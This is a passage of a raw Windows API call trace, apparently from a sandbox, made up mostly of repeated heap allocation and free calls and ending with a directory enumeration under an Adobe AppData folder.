hHeap=0x5010000) returned 1 [0113.967] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.967] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0113.967] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0113.967] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.967] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.967] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.967] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.967] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.967] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.967] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.967] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.967] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.967] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.967] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.967] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.967] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.967] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.967] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.967] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.967] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.967] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0113.967] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.968] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.968] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.968] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.968] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.968] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.968] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.968] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.968] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.968] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.968] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.968] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.968] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.968] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.968] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.968] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.968] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.968] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.968] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.968] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.968] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.968] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.968] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.968] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.968] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.968] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.968] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.968] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.968] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.968] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.968] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.968] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.968] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.969] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.969] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.969] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.969] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.969] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.969] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.969] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.969] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.969] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.969] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.969] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.969] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.969] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.969] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.969] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.969] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.969] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.969] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.969] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.969] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.969] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.969] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.969] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.969] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.969] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.969] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.969] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.969] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.969] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.969] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0113.970] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.970] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0113.970] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.970] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.970] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.970] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.970] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.970] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.970] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.970] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.970] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.970] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.970] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.970] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.970] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.970] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.970] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.970] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.970] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.970] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.970] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.970] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.970] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.970] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.970] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.970] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.970] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.970] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.970] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.970] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.970] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.970] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.971] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.971] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.971] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.971] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.971] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.971] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.971] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.971] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.971] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.971] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.971] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.971] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.971] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.971] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.971] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.971] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.971] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.971] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.971] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.971] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.971] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.971] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.971] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.971] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.971] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.971] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.971] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.971] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.971] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.971] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.971] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.971] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.972] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.972] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.972] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.972] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0113.972] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.972] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0113.972] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.972] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.972] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.972] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.972] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.972] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.972] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.972] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.972] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.972] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.972] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.972] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.972] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.972] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.972] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.972] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.972] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.972] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.972] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.972] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.972] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.972] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.972] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.972] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.972] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.972] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.973] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.973] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.973] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.973] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.973] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.973] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.973] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.973] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.973] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.973] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.973] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.973] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.973] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.973] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.973] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.973] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.973] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.973] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.973] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.973] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.973] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.973] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.973] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.973] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.973] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.973] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.973] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.973] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0113.973] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c18 [0113.973] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f818 [0113.974] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.974] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0113.974] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a481c8 [0113.974] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f818 | out: hHeap=0x5010000) returned 1 [0113.974] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0113.974] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0113.974] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a481c8 | out: hHeap=0x5010000) returned 1 [0113.974] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0113.974] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0da78 [0113.974] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0113.974] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0113.974] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0113.974] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0da78 | out: hHeap=0x5010000) returned 1 [0113.974] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.974] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05da0 [0113.974] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c18 | out: hHeap=0x5010000) returned 1 [0113.974] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c18 [0113.974] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1aec8 | out: hHeap=0x5010000) returned 1 [0113.974] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.974] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c18 | out: hHeap=0x5010000) returned 1 [0113.974] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.974] PathFindFileNameW (pszPath="") returned="" [0113.974] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.974] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0113.975] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.975] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, 